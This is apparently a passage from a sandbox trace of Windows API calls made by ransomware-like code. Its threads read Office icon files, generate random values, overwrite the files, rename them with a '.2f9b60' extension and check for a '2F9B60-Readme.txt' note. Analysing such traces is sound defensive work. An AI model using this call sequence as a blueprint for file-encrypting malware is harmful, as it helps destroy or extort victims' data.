(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42216d10 [0142.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4221a920 [0142.190] ReadFile (in: hFile=0x1fa8, lpBuffer=0x42216d10, nNumberOfBytesToRead=0x5a4, lpNumberOfBytesRead=0x2271f830, lpOverlapped=0x0 | out: lpBuffer=0x42216d10*, lpNumberOfBytesRead=0x2271f830*=0x5a4, lpOverlapped=0x0) returned 1 [0142.190] SetFilePointerEx (in: hFile=0x1fa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.190] WriteFile (in: hFile=0x1fa8, lpBuffer=0x4221a920*, nNumberOfBytesToWrite=0x5a4, lpNumberOfBytesWritten=0x2271f834, lpOverlapped=0x0 | out: lpBuffer=0x4221a920*, lpNumberOfBytesWritten=0x2271f834*=0x5a4, lpOverlapped=0x0) returned 1 [0143.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202647a0 [0143.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264860 [0143.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264860) returned 1 [0143.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4221a920) returned 1 [0143.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42216d10) returned 1 [0143.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061eb0) returned 1 [0143.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x42059ce0 [0143.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0143.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061eb0 [0143.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264860 [0143.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264860) returned 1 [0143.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x42059d30 [0143.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264860 [0143.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264800 [0143.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264800) returned 1 [0143.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061eb0) returned 1 [0143.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0143.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x122) returned 0x1b7d9a50 [0143.347] SetFilePointerEx (in: hFile=0x1fa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.347] WriteFile (in: hFile=0x1fa8, lpBuffer=0x1b7d9a50*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2271f950, lpOverlapped=0x0 | out: lpBuffer=0x1b7d9a50*, lpNumberOfBytesWritten=0x2271f950*=0x122, lpOverlapped=0x0) returned 1 [0143.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d9a50) returned 1 [0143.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d30) returned 1 [0143.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264860) returned 1 [0143.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202647a0) returned 1 [0143.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe9e0) returned 1 [0143.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feaa0) returned 1 [0143.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fead0) returned 1 [0143.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x1ce22020 [0143.565] wcscpy (in: _Dest=0x1ce22020, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp" [0143.565] wcscat (in: _Dest=0x1ce22020, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp.2f9b60" [0143.565] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp.2f9b60", NtPathName=0x2271f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1ced02e0 [0143.565] NtSetInformationFile (FileHandle=0x1fa8, IoStatusBlock=0x2271fa10, FileInformation=0x1ced02e0, Length=0xd4, FileInformationClass=0xa) returned 0x0 [0145.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced02e0) returned 1 [0145.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053690) returned 1 [0145.375] NtQueryInformationFile (in: FileHandle=0x1fa8, IoStatusBlock=0x2271f9d8, FileInformation=0x2271f9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2271f9d8, FileInformation=0x2271f9e8) returned 0x0 [0145.376] NtSetInformationFile (FileHandle=0x1fa8, IoStatusBlock=0x2271f9d8, FileInformation=0x2271f9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22020) returned 1 [0145.393] FlushFileBuffers (hFile=0x1fa8) returned 1 [0145.403] CloseHandle (hObject=0x1fa8) returned 1 [0145.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce12680 [0145.404] wcscpy (in: _Dest=0x1ce12680, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.404] wcscat (in: _Dest=0x1ce12680, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12680) returned 1 [0147.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8629e0) returned 1 Thread: id = 1877 os_tid = 0x1014 [0133.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopicon.jpg")) returned 0x20 [0135.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG", dwFileAttributes=0x20) returned 1 [0138.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopicon.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f3c [0141.576] GetFileSizeEx (in: hFile=0x1f3c, lpFileSize=0x2c5ffa00 | out: lpFileSize=0x2c5ffa00*=3348) returned 1 [0141.576] SetFilePointerEx (in: hFile=0x1f3c, liDistanceToMove=0xd10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.576] ReadFile (in: hFile=0x1f3c, lpBuffer=0x2c5ff980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5ff9c8, lpOverlapped=0x0 | out: lpBuffer=0x2c5ff980*, lpNumberOfBytesRead=0x2c5ff9c8*=0x4, lpOverlapped=0x0) returned 1 [0141.638] SetFilePointerEx (in: hFile=0x1f3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0141.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdbd0 [0141.639] NtQuerySystemTime (in: CurrentTime=0x2c5ff8c0 | out: CurrentTime=0x2c5ff8c0*=132462177468814000) returned 0x0 [0141.639] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x2b18d489 [0141.639] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x21920f3a [0141.639] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x5494cd74 [0141.639] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x5db9cbd8 [0141.639] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x6a9462a1 [0141.639] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x424af496 [0141.639] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x39fe0282 [0141.639] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x4e4ac947 [0141.639] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x5a53e0ca [0141.639] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x4a8a59b0 [0141.639] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x69e7aad5 [0141.639] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x75f64b8c [0141.639] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0xef39db3 [0141.639] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x63439ece [0141.639] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x60347947 [0141.639] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x3894d0c2 [0141.639] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x2d1695ad [0141.639] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x666c5fd1 [0141.640] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x1a49b4c2 [0141.640] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x701f6937 [0141.640] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x57b44ebf [0141.640] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x219501af [0141.640] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x54f46f2c [0141.640] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x521fb3ab [0141.640] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x261a3183 [0141.640] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x1c4d289c [0141.640] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x50b504e2 [0141.640] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x4bb7a256 [0141.640] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x2a41e105 [0141.640] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x5999fa1a [0141.640] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x2a72bf1c [0141.640] RtlRandomEx (in: Seed=0x2c5ff8b0 | out: Seed=0x2c5ff8b0) returned 0x22d0831d [0141.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf00 [0141.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061530 [0141.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcc0 [0141.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061530) returned 1 [0141.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdbd0) returned 1 [0141.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0141.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061530 [0141.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4227d570 [0141.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42272140 [0141.667] ReadFile (in: hFile=0x1f3c, lpBuffer=0x4227d570, nNumberOfBytesToRead=0xd14, lpNumberOfBytesRead=0x2c5ff8b0, lpOverlapped=0x0 | out: lpBuffer=0x4227d570*, lpNumberOfBytesRead=0x2c5ff8b0*=0xd14, lpOverlapped=0x0) returned 1 [0141.667] SetFilePointerEx (in: hFile=0x1f3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.667] WriteFile (in: hFile=0x1f3c, lpBuffer=0x42272140*, nNumberOfBytesToWrite=0xd14, lpNumberOfBytesWritten=0x2c5ff8b4, lpOverlapped=0x0 | out: lpBuffer=0x42272140*, lpNumberOfBytesWritten=0x2c5ff8b4*=0xd14, lpOverlapped=0x0) returned 1 [0141.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe350 [0141.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe380 [0141.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe380) returned 1 [0141.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42272140) returned 1 [0141.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4227d570) returned 1 [0141.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061530) returned 1 [0141.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0141.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204fe380 [0141.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0141.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061530 [0141.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe3b0 [0141.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe3b0) returned 1 [0141.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204fe3b0 [0141.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe3e0 [0141.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0141.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0141.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061530) returned 1 [0141.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0141.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1674c0 [0141.752] SetFilePointerEx (in: hFile=0x1f3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.752] WriteFile (in: hFile=0x1f3c, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c5ff9d0, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x2c5ff9d0*=0x10a, lpOverlapped=0x0) returned 1 [0141.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1674c0) returned 1 [0141.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe3b0) returned 1 [0141.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe3e0) returned 1 [0141.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe380) returned 1 [0141.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe350) returned 1 [0141.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0141.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf00) returned 1 [0141.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcc0) returned 1 [0141.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x2050d580 [0141.851] wcscpy (in: _Dest=0x2050d580, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG" [0141.851] wcscat (in: _Dest=0x2050d580, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG.2f9b60" [0141.851] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG.2f9b60", NtPathName=0x2c5ff9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4205ea70 [0141.852] NtSetInformationFile (FileHandle=0x1f3c, IoStatusBlock=0x2c5ffa90, FileInformation=0x4205ea70, Length=0xbc, FileInformationClass=0xa) returned 0x0 [0148.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ea70) returned 1 [0148.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500810) returned 1 [0148.270] NtQueryInformationFile (in: FileHandle=0x1f3c, IoStatusBlock=0x2c5ffa58, FileInformation=0x2c5ffa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c5ffa58, FileInformation=0x2c5ffa68) returned 0x0 [0148.270] NtSetInformationFile (FileHandle=0x1f3c, IoStatusBlock=0x2c5ffa58, FileInformation=0x2c5ffa68, Length=0x28, FileInformationClass=0x4) [0208.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d580) returned 1 [0208.328] FlushFileBuffers (hFile=0x1f3c) returned 1 [0208.344] CloseHandle (hObject=0x1f3c) returned 1 [0216.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b7a5700 [0216.025] wcscpy (in: _Dest=0x1b7a5700, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0216.025] wcscat (in: _Dest=0x1b7a5700, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0216.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0216.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5700) returned 1 [0216.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d2d0) returned 1 Thread: id = 1878 os_tid = 0x1018 [0133.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopiconmask.bmp")) returned 0x20 [0136.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp", dwFileAttributes=0x20) returned 1 [0137.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopiconmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f04 [0140.430] GetFileSizeEx (in: hFile=0x1f04, lpFileSize=0x2c69f660 | out: lpFileSize=0x2c69f660*=2104) returned 1 [0140.430] SetFilePointerEx (in: hFile=0x1f04, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.430] ReadFile (in: hFile=0x1f04, lpBuffer=0x2c69f5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c69f628, lpOverlapped=0x0 | out: lpBuffer=0x2c69f5e0*, lpNumberOfBytesRead=0x2c69f628*=0x4, lpOverlapped=0x0) returned 1 [0140.436] SetFilePointerEx (in: hFile=0x1f04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7880 [0140.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6320 [0140.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0140.437] NtQuerySystemTime (in: CurrentTime=0x2c69f520 | out: CurrentTime=0x2c69f520*=132462177456802000) returned 0x0 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x556859e [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x5595d2b3 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x17d07be8 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x5cc8f6f0 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x2dbefd89 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x36236ab3 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x61de07a4 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x75e19680 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x20983f51 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x491d575 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x23dcd5d8 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0xb14705b [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x7b772f21 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0xefa9f04 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x5ef12667 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0xdf65fda [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x66ebc665 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x359dc5b3 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x5539e122 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x13be650a [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x5d01b083 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x100b7284 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x219fcfad [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x5a7bb595 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x637ea9b6 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x4e24bffa [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x74ee5d46 [0140.437] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x13be650a [0140.438] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x3c24b90d [0140.438] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x530b4c78 [0140.438] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x10d3d623 [0140.438] RtlRandomEx (in: Seed=0x2c69f510 | out: Seed=0x2c69f510) returned 0x4eb715d3 [0140.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a600 [0140.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061ab0 [0140.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0140.445] 